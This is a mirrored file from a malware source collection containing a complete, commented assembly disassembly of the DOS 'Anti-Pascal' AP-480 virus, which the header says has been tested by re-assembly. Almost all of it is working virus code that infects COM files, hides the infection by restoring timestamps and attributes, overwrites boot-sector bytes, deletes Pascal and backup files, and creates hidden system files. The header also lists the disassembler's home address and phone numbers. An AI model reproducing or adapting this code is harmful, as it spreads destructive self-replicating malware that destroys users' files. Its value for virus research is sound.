mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
316 lines
7.2 KiB
NASM
316 lines
7.2 KiB
NASM
|
page ,132
|
|||
|
name AP480
|
|||
|
title The 'Anti-Pascal' virus, version AP-480
|
|||
|
.radix 16
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
|
|||
|
; <20> Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 <20>
|
|||
|
; <20> Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> The 'Anti-Pascal' Virus, version AP-480 <20>
|
|||
|
; <20> Disassembled by Vesselin Bontchev, June 1990 <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> Copyright (c) Vesselin Bontchev 1989, 1990 <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> This listing is only to be made available to virus researchers <20>
|
|||
|
; <20> or software writers on a need-to-know basis. <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
|
|||
|
|
|||
|
; The disassembly has been tested by re-assembly using MASM 5.0.
|
|||
|
|
|||
|
code segment
|
|||
|
assume cs:code, ds:code
|
|||
|
|
|||
|
org 100
|
|||
|
|
|||
|
v_const = 2042d
|
|||
|
|
|||
|
start:
|
|||
|
jmp v_entry
|
|||
|
db 0CA ; Virus signature
|
|||
|
|
|||
|
db (2048d - 9) dup (90)
|
|||
|
|
|||
|
mov ax,4C00
|
|||
|
int 21
|
|||
|
|
|||
|
v_start label byte
|
|||
|
first4 db 0E9, 0F8, 7, 90
|
|||
|
allcom db '*.COM', 0
|
|||
|
|
|||
|
mydta label byte
|
|||
|
reserve db 15 dup (?)
|
|||
|
attrib db ?
|
|||
|
time dw ?
|
|||
|
date dw ?
|
|||
|
fsize dd ?
|
|||
|
namez db 14d dup (?)
|
|||
|
|
|||
|
allp db 0, '????????P??'
|
|||
|
allbak db 0, '????????BAK'
|
|||
|
maxdrv db ?
|
|||
|
|
|||
|
v_entry:
|
|||
|
push ax ; Save AX & DX
|
|||
|
push dx
|
|||
|
|
|||
|
mov ah,19 ; Get the default drive
|
|||
|
int 21
|
|||
|
push ax ; Save it on stack
|
|||
|
mov ah,0E ; Set it as default (?!)
|
|||
|
mov dl,al
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
call self ; Determine the virus' start address
|
|||
|
self:
|
|||
|
pop si
|
|||
|
sub si,offset self-v_const
|
|||
|
|
|||
|
; Save the number of logical drives in the system:
|
|||
|
|
|||
|
mov byte ptr [si+offset maxdrv-v_const],al
|
|||
|
|
|||
|
; Restore the first 4 bytes of the infected program:
|
|||
|
|
|||
|
mov ax,[si+offset first4-v_const]
|
|||
|
mov word ptr ds:[offset start],ax
|
|||
|
mov ax,[si+offset first4+2-v_const]
|
|||
|
mov word ptr ds:[offset start+2],ax
|
|||
|
|
|||
|
mov ah,1A ; Set new DTA
|
|||
|
lea dx,[si+offset mydta-v_const]
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
pop ax ; Restore current drive in AL
|
|||
|
push ax ; Keep it on stack
|
|||
|
|
|||
|
call inf_drive ; Proceed with the current drive
|
|||
|
|
|||
|
xor al,al ; For all logical drives in the system
|
|||
|
drv_lp:
|
|||
|
call inf_drive ; Proceed with drive
|
|||
|
jbe drv_lp ; Loop until no more drives
|
|||
|
|
|||
|
pop ax ; Restore the saved current drive
|
|||
|
mov ah,0E ; Set it as current drive
|
|||
|
mov dl,al
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
mov dx,80 ; Restore original DTA
|
|||
|
mov ah,1A
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
mov si,offset start
|
|||
|
pop dx ; Restore DX & AX
|
|||
|
pop ax
|
|||
|
jmp si ; Run the original program
|
|||
|
|
|||
|
inf_drive:
|
|||
|
push ax ; Save the selected drive number on stack
|
|||
|
mov ah,0E ; Select that drive
|
|||
|
mov dl,al
|
|||
|
int 21 ; Do ti
|
|||
|
pop ax ; Restore AX
|
|||
|
|
|||
|
push ax ; Save the registers used
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push si ; Save SI
|
|||
|
|
|||
|
mov cx,1 ; Read the boot sector of the drive specified
|
|||
|
xor dx,dx
|
|||
|
lea bx,[si+offset v_end-v_const]
|
|||
|
push ax ; Save AX
|
|||
|
push bx ; Save BX, CX & DX also
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
int 25 ; Do read
|
|||
|
pop dx ; Clear the stack
|
|||
|
pop dx ; Restore saved DX, CX & BX
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
jc bad_drv ; Exit on error
|
|||
|
|
|||
|
inc byte ptr [bx] ; Increment the first byte (?!)
|
|||
|
cmp byte ptr [bx+1],6F ; Second byte == 111 (?!)
|
|||
|
jne wr_drive ; Write the new values if not
|
|||
|
|
|||
|
bad_drv:
|
|||
|
pop ax ; Restore AX
|
|||
|
pop si ; Restore SI
|
|||
|
drv_xit:
|
|||
|
pop cx ; Restore used registers
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
inc al ; Go to next drive number
|
|||
|
cmp al,[si+offset maxdrv-v_const] ; See if there are more drives
|
|||
|
ret ; Exit
|
|||
|
|
|||
|
wr_drive:
|
|||
|
pop ax ; Restore drive number in AL
|
|||
|
int 26 ; Do write
|
|||
|
pop ax ; Clear the stack
|
|||
|
pop si ; Restore Si
|
|||
|
jc drv_xit ; Exit on error
|
|||
|
|
|||
|
; Find first COM file on the current directory of the selected drive:
|
|||
|
|
|||
|
mov ah,4E
|
|||
|
xor cx,cx ; Normal files only
|
|||
|
lea dx,[si+offset allcom-v_const] ; File mask
|
|||
|
next:
|
|||
|
int 21 ; Do find
|
|||
|
jc no_more ; Quit search if no more such files
|
|||
|
lea dx,[si+offset namez-v_const] ; Get file name found
|
|||
|
call infect ; Infect that file
|
|||
|
mov ah,4F ; Prepare for FindNext
|
|||
|
jc next ; If infection not successful, go to next file
|
|||
|
jmp drv_xit ; Otherwise quit
|
|||
|
|
|||
|
no_more:
|
|||
|
lea di,[si+offset v_end-v_const]
|
|||
|
cmp byte ptr [di],80
|
|||
|
jb drv_xit
|
|||
|
|
|||
|
; Form the current directory path at v_end:
|
|||
|
|
|||
|
mov al,'\' ; '\' for the root
|
|||
|
stosb ; Put that character
|
|||
|
xchg si,di ; Save DI
|
|||
|
|
|||
|
mov ah,47 ; Get current directory
|
|||
|
xor dl,dl ; of the default drive and put it there too
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
xchg si,di ; Restore DI
|
|||
|
xor al,al ; Go to the end of paht (?!)
|
|||
|
mov cx,64d
|
|||
|
repne scasb ; Do it
|
|||
|
dec di ; Go to the previous byte
|
|||
|
|
|||
|
mov ah,13 ; Delete all *.P* files in that dir
|
|||
|
lea dx,[si+offset allp-v_const]
|
|||
|
int 21 ; Do it
|
|||
|
cmp al,-1
|
|||
|
je drv_xit ; Exit on error
|
|||
|
|
|||
|
mov ah,13 ; Delete all *.BAK files too
|
|||
|
lea dx,[si+offset allbak-v_const]
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
mov cx,20d ; Create 20 temporary files (?!)
|
|||
|
mov ah,5A
|
|||
|
lea dx,[si+offset v_end-v_const]
|
|||
|
|
|||
|
creat_lp:
|
|||
|
push cx ; Save registers used
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
mov byte ptr [di],0
|
|||
|
mov cx,7 ; With ReadOnly, Hidden and System attributes
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
pop dx ; Save used registers
|
|||
|
pop ax
|
|||
|
pop cx
|
|||
|
loop creat_lp ; Loop until done
|
|||
|
|
|||
|
jmp drv_xit ; Done. Exit
|
|||
|
|
|||
|
namaddr dw ? ; Address of the file name buffer
|
|||
|
|
|||
|
infect:
|
|||
|
mov [si+offset namaddr-v_const],dx ; Save file name address
|
|||
|
|
|||
|
mov ax,4301 ; Reset all file attributes
|
|||
|
xor cx,cx
|
|||
|
int 21 ; Do it
|
|||
|
jnc inf_cont ; Continue if all OK
|
|||
|
inf_xit:
|
|||
|
ret ; Otherwise exit
|
|||
|
|
|||
|
inf_cont:
|
|||
|
mov ax,3D02 ; Open file for both reading and writing
|
|||
|
int 21
|
|||
|
jc inf_xit ; Exit on arror
|
|||
|
mov bx,ax ; Save file handle in BX
|
|||
|
|
|||
|
mov cx,4 ; Read the first 4 bytes of the file
|
|||
|
mov ah,3F
|
|||
|
lea di,[si+offset first4-v_const] ; Save them in first4
|
|||
|
mov dx,di
|
|||
|
int 21 ; Do it
|
|||
|
jc quit ; Exit on error
|
|||
|
|
|||
|
cmp byte ptr [di+3],0CA ; File already infected?
|
|||
|
stc ; Set CF to indicate it
|
|||
|
jz quit ; Don't touch this file if so
|
|||
|
|
|||
|
mov cx,[si+offset fsize-v_const]
|
|||
|
cmp cx,2048d ; Check if file size >= 2048 bytes
|
|||
|
jb quit ; Exit if not
|
|||
|
cmp cx,64000d ; Check if file size <= 64000 bytes
|
|||
|
stc ; Set CF to indicate it
|
|||
|
ja quit ; Exit if not
|
|||
|
|
|||
|
xor cx,cx ; Seek to file end
|
|||
|
xor dx,dx
|
|||
|
mov ax,4202
|
|||
|
int 21 ; Do it
|
|||
|
push ax ; Save file size on stack
|
|||
|
jc quit ; Exit on error
|
|||
|
|
|||
|
; Write the virus body after the end of file:
|
|||
|
|
|||
|
mov cx,v_end-v_start
|
|||
|
nop
|
|||
|
lea dx,[si+offset v_start-v_const]
|
|||
|
mov ah,40
|
|||
|
int 21 ; Do it
|
|||
|
jc quit ; Exit on error
|
|||
|
pop ax ; Restore file size in AX
|
|||
|
|
|||
|
; Form a new address for the first JMP instruction in AX:
|
|||
|
|
|||
|
add ax,v_entry-v_start-3
|
|||
|
mov byte ptr [di],0E9 ; JMP opcode
|
|||
|
mov [di+1],ax
|
|||
|
mov byte ptr [di+3],0CA ; Set the "file infected" sign
|
|||
|
|
|||
|
xor cx,cx ; Seek to file beginning
|
|||
|
xor dx,dx
|
|||
|
mov ax,4200
|
|||
|
int 21 ; Do it
|
|||
|
jc quit ; Exit on error
|
|||
|
|
|||
|
mov cx,4 ; Write the new first 4 bytes of the file
|
|||
|
mov dx,di
|
|||
|
mov ah,40
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
quit:
|
|||
|
pushf ; Save flags
|
|||
|
|
|||
|
mov ax,5701 ; Set file date & time
|
|||
|
mov cx,[si+offset time-v_const] ; Get time from mydta
|
|||
|
mov dx,[si+offset date-v_const] ; Get date from mydta
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
mov ah,3E ; Close the file
|
|||
|
int 21
|
|||
|
|
|||
|
mov ax,4301 ; Set file attributes
|
|||
|
mov cl,[si+offset attrib-v_const] ; Get them from mydta
|
|||
|
xor ch,ch
|
|||
|
mov dx,[si+offset namaddr-v_const] ; Point to file name
|
|||
|
int 21 ; Do it
|
|||
|
|
|||
|
popf ; Restore flags
|
|||
|
ret
|
|||
|
|
|||
|
v_end equ $
|
|||
|
|
|||
|
code ends
|
|||
|
end start
|
|||
|
|